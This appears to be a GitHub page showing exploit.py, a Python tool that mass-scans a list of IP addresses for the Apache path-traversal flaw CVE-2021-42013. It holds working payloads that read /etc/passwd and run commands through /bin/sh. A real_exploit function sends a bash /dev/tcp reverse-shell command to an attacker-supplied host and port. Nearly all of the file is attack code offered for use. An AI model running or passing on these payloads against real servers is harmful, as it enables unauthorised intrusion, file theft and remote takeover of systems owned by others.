-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
171 lines (161 loc) · 6.66 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
# Remote Code Execution via Apache (CVE-2021-42013)
import urllib.request
import requests
import ssl
import sys
import subprocess
def poc(url):
plugin_list = [
"/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd",
"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd",
"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"/cgi-bin/.%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
"/cgi-bin/%25%25%25%2e/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
]
headers = {"User-Agent": "Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1"}
payload_lib = {}
for plugin_path in plugin_list:
try:
payload = url + plugin_path
req = urllib.request.Request(url=payload, headers=headers)
res = urllib.request.urlopen(req, timeout=5)
code = res.getcode()
context = res.read()
if "root:x" in context.decode('utf-8') and code == 200:
res = "Echo: " + context.decode('utf-8')
payload_lib[payload] = res.split("\n")[0]
p_ip.append(url)
except Exception as e:
pass
if len(payload_lib) > 0:
print("File retrieval vulnerability found:")
print("------------Payload-----------\n")
for i in payload_lib:
print("Request line: {}".format(i))
print("{}".format(payload_lib[i]).replace("\n", ""))
print()
print("-" * 30)
else:
print("No file retrieval vulnerability found")
def exp(url):
plugin_list = [
"/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh",
"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh",
"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh",
"/cgi-bin/.%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh",
"/cgi-bin/%25%25%25%2e/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh",
]
headers = {"User-Agent": "Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1"}
payload_lib = {}
for plugin_path in plugin_list:
try:
payload = url + plugin_path
data = bytes('echo Content-Type: text/plain; echo;id'.encode('utf-8'))
req = urllib.request.Request(url=payload, headers=headers, data=data)
res = urllib.request.urlopen(req, timeout=5)
code = res.getcode()
context = res.read()
if "uid" in context.decode('utf-8') and code == 200:
payload_lib[payload] = "Echo: " + context.decode('utf-8')
e_ip.append(url)
except Exception as e:
pass
if len(payload_lib) > 0:
print("RCE vulnerability found:")
print("------------Payload-----------\n")
for i in payload_lib:
print("Request line: {}".format(i))
print("Request body: echo Content-Type: text/plain; echo;id")
print("{}".format(payload_lib[i]).replace("\n", ""))
print()
print("-" * 30)
else:
print("No RCE vulnerability found")
def real_exploit(url, lhost, lport):
plugin_path = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
headers = {"User-Agent": "Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1"}
payload = url + plugin_path
exploit_command = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
data = bytes(f'echo Content-Type: text/plain; echo;{exploit_command}'.encode('utf-8'))
req = urllib.request.Request(url=payload, headers=headers, data=data)
try:
res = urllib.request.urlopen(req, timeout=5)
code = res.getcode()
context = res.read()
if code == 200:
print("Exploited successfully:")
print("------------Payload-----------\n")
print("Request line: {}".format(payload))
print("Request body: echo Content-Type: text/plain; echo;{}".format(exploit_command))
print("{}".format(context.decode('utf-8')).replace("\n", ""))
print("-" * 30)
else:
print("Exploit failed")
except Exception as e:
print("Exploit failed:", str(e))
if __name__ == '__main__':
ssl._create_default_https_context = ssl._create_unverified_context
global p_ip
p_ip = []
e_ip = []
with open("ip.txt", "r", encoding="utf-8") as f:
iplib = f.readlines()
i = 0
print('Running poc detection...')
for ip in iplib:
i += 1
try:
url = "http://{}".format(ip.replace("\n", ""))
print("Checking target {} [http]:".format(i))
print(url)
poc(url)
except Exception as e:
print('No vulnerabilities found for the target')
print(e)
try:
print("Checking target {} [https]:".format(i))
url = "https://{}".format(ip.replace("\n", ""))
print(url)
poc(url)
except Exception as e:
print('No vulnerabilities found for the target\n')
print()
v_list = list(set(p_ip))
print("-" * 30)
print("-" * 30)
print('Running exp detection...')
n = 0
for v in v_list:
n += 1
try:
print("Checking target {}:".format(n))
print(v)
exp(v)
except Exception as e:
print('No vulnerabilities found for the target\n')
print()
print("-" * 30)
print("-" * 30)
print('Running real exploit...')
if "--lhost" in sys.argv and "--lport" in sys.argv:
lhost = sys.argv[sys.argv.index("--lhost") + 1]
lport = sys.argv[sys.argv.index("--lport") + 1]
print("Reverse shell target: {}:{}".format(lhost, lport))
for v in v_list:
try:
print("Exploiting target:")
print(v)
real_exploit(v, lhost, lport)
except Exception as e:
print('Exploit failed for the target\n')
print()
else:
print("Reverse shell target not specified. Use --lhost and --lport to set the target.")
print("============Detection Results===========")
print("IPs vulnerable to file retrieval:")
for v in v_list:
print(v)
print("IPs vulnerable to RCE:")
e_list = list(set(e_ip))
for e in e_list:
print(e)